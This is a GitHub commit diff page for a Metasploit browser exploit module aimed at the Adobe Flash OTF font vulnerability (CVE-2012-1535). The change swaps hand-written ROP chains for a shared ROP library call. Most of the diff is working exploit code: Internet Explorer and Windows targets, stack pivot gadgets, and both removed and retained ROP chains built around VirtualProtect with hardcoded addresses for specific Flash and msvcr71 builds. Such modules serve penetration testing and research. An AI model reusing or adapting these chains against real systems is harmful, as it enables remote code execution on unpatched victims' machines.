Skip to content

Commit e4af1b7

Browse files
author
jvazquez-r7
committed
Merge branch 'cve_2012_1535_flash_rop_update' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-cve_2012_1535_flash_rop_update
2 parents 7006122 + 5b65608 commit e4af1b7

File tree

1 file changed

+52
-165
lines changed

1 file changed

+52
-165
lines changed

modules/exploits/windows/browser/adobe_flash_otf_font.rb

Lines changed: 52 additions & 165 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = NormalRanking
1212

1313
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
1415

1516
def initialize(info={})
1617
super(update_info(info,
@@ -46,7 +47,7 @@ def initialize(info={})
4647
],
4748
'Payload' =>
4849
{
49-
'Space' => 1024
50+
'Space' => 1024
5051
},
5152
'DefaultOptions' =>
5253
{
@@ -56,49 +57,17 @@ def initialize(info={})
5657
'Targets' =>
5758
[
5859
# Tested successfully on:
60+
# Flash 11.2.202.233
5961
# Flash 11.3.300.268
6062
# Flash 11.3.300.265
6163
# Flash 11.3.300.257
6264
[ 'Automatic', {} ],
63-
[
64-
'IE 6 on Windows XP SP3',
65-
{
66-
'Rop' => nil
67-
}
68-
],
69-
[
70-
'IE 7 on Windows XP SP3',
71-
{
72-
'Rop' => nil
73-
}
74-
],
75-
[
76-
'IE 8 on Windows XP SP3',
77-
{
78-
'Rop' => true,
79-
'ASLR' => false
80-
}
81-
],
82-
[
83-
'IE 7 on Windows Vista SP2',
84-
{
85-
'Rop' => nil
86-
}
87-
],
88-
[
89-
'IE 8 on Windows 7 SP1',
90-
{
91-
'Rop' => true,
92-
'ASLR' => true
93-
}
94-
],
95-
[
96-
'IE 9 on Windows 7 SP1',
97-
{
98-
'Rop' => true,
99-
'ASLR' => true
100-
}
101-
]
65+
[ 'IE 6 on Windows XP SP3', {'Rop' => nil } ],
66+
[ 'IE 7 on Windows XP SP3', {'Rop' => nil } ],
67+
[ 'IE 8 on Windows XP SP3', {'Rop' => true, 'ASLR' => false } ],
68+
[ 'IE 7 on Windows Vista SP2', {'Rop' => nil }],
69+
[ 'IE 8 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ],
70+
[ 'IE 9 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ]
10271
],
10372
'Privileged' => false,
10473
'DisclosureDate' => "Aug 9 2012",
@@ -110,10 +79,6 @@ def initialize(info={})
11079
], self.class)
11180
end
11281

113-
def nop
114-
return make_nops(4).unpack("L")[0].to_i
115-
end
116-
11782
def get_payload(t, flash_version=nil)
11883
if t['Rop'].nil?
11984
p = [
@@ -123,126 +88,50 @@ def get_payload(t, flash_version=nil)
12388
].pack("V*")
12489

12590
p << payload.encoded
91+
return p
92+
end
93+
94+
if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
95+
print_status("Using Rop Chain For Flash: #{flash_version}")
96+
pivot = [
97+
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
98+
0x0c0c0c0c,
99+
0x1001d891, # xchg eax, esp # ret (1e0d0008)
100+
].pack("V*")
101+
102+
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})
103+
104+
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
105+
print_status("Using Rop Chain For Flash: #{flash_version}")
106+
pivot = [
107+
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
108+
0x0c0c0c0c,
109+
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
110+
].pack("V*")
111+
112+
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})
113+
114+
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
115+
print_status("Using Rop Chain For Flash: #{flash_version}")
116+
pivot = [
117+
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
118+
0x0c0c0c0c,
119+
0x1001d755, # xchg eax, esp # ret (1e0d0008)
120+
].pack("V*")
121+
122+
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.268', 'pivot'=>pivot})
123+
126124
else
127-
if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
128-
129-
print_status("Using Rop Chain For Flash: #{flash_version}")
130-
stack_pivot = [
131-
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
132-
0x0c0c0c0c,
133-
0x1001d891, # xchg eax, esp # ret (1e0d0008)
134-
].pack("V*")
135-
136-
rop = [
137-
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
138-
0x106e3384, # <- *&VirtualProtect()
139-
0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
140-
0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
141-
0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
142-
0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
143-
0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
144-
0x00000201, # <- change size to mark as executable if needed (-> ebx)
145-
0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
146-
0x10955000, # W pointer (lpOldProtect) (-> ecx)
147-
0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
148-
0x10649004, # ROP NOP (-> edi)
149-
0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
150-
0x00000040, # newProtect (0x40) (-> edx)
151-
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
152-
nop, # NOPS (-> eax)
153-
0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
154-
].pack("V*")
155-
156-
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
157-
158-
print_status("Using Rop Chain For Flash: #{flash_version}")
159-
stack_pivot = [
160-
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
161-
0x0c0c0c0c,
162-
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
163-
].pack("V*")
164-
165-
rop = [
166-
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
167-
0x106e338c, # <- *&VirtualProtect()
168-
0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
169-
0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
170-
0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
171-
0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
172-
0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
173-
0x00000201, # <- change size to mark as executable if needed (-> ebx)
174-
0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
175-
0x10955000, # W pointer (lpOldProtect) (-> ecx)
176-
0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
177-
0x105c1812, # ROP NOP (-> edi)
178-
0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
179-
0x00000040, # newProtect (0x40) (-> edx)
180-
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
181-
nop, # NOPS (-> eax)
182-
0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
183-
].pack("V*")
184-
185-
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
186-
187-
print_status("Using Rop Chain For Flash: #{flash_version}")
188-
stack_pivot = [
189-
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
190-
0x0c0c0c0c,
191-
0x1001d755, # xchg eax, esp # ret (1e0d0008)
192-
].pack("V*")
193-
rop = [
194-
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
195-
0x106e438c, # <- *&VirtualProtect()
196-
0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
197-
0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
198-
0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
199-
0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
200-
0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
201-
0x00000201, # <- change size to mark as executable if needed (-> ebx)
202-
0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
203-
0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
204-
0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
205-
0x10308b0f, # ROP NOP (-> edi)
206-
0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
207-
0x00000040, # newProtect (0x40) (-> edx)
208-
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
209-
nop, # NOPS (-> eax)
210-
0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
211-
].pack("V*")
212-
213-
else
214-
215-
print_status("Default back to JRE ROP")
216-
stack_pivot = [
217-
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
218-
0x0c0c0c0c,
219-
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
220-
].pack("V*")
221-
222-
rop = [
223-
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
224-
0x00001000, # (dwSize)
225-
0x7c347f98, # RETN (ROP NOP)
226-
0x7c3415a2, # JMP [EAX]
227-
0xffffffff,
228-
0x7c376402, # skip 4 bytes
229-
0x7c345255, # INC EBX # FPATAN # RETN
230-
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
231-
0x7c344f87, # POP EDX # RETN
232-
0x00000040, # flNewProtect
233-
0x7c34d201, # POP ECX # RETN
234-
0x7c38b001, # &Writable location
235-
0x7c347f97, # POP EAX # RETN
236-
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
237-
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
238-
0x7c345c30, # ptr to 'push esp # ret '
239-
].pack("V*")
240-
241-
end
242-
p = stack_pivot
243-
p << rop
244-
p << payload.encoded
125+
print_status("Default back to JRE ROP")
126+
pivot = [
127+
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
128+
0x0c0c0c0c,
129+
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
130+
].pack("V*")
131+
132+
p = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
245133
end
134+
246135
return p
247136
end
248137

@@ -268,11 +157,9 @@ def get_target(agent)
268157
end
269158

270159
def on_request_uri(cli, request)
271-
272160
agent = request.headers['User-Agent']
273-
print_status("User-agent: #{agent}")
274161
my_target = get_target(agent)
275-
162+
print_status("Target selected: #{my_target.name}")
276163
print_status("Client requesting: #{request.uri}")
277164

278165
# Avoid the attack if the victim doesn't have the same setup we're targeting

0 commit comments

Comments
 (0)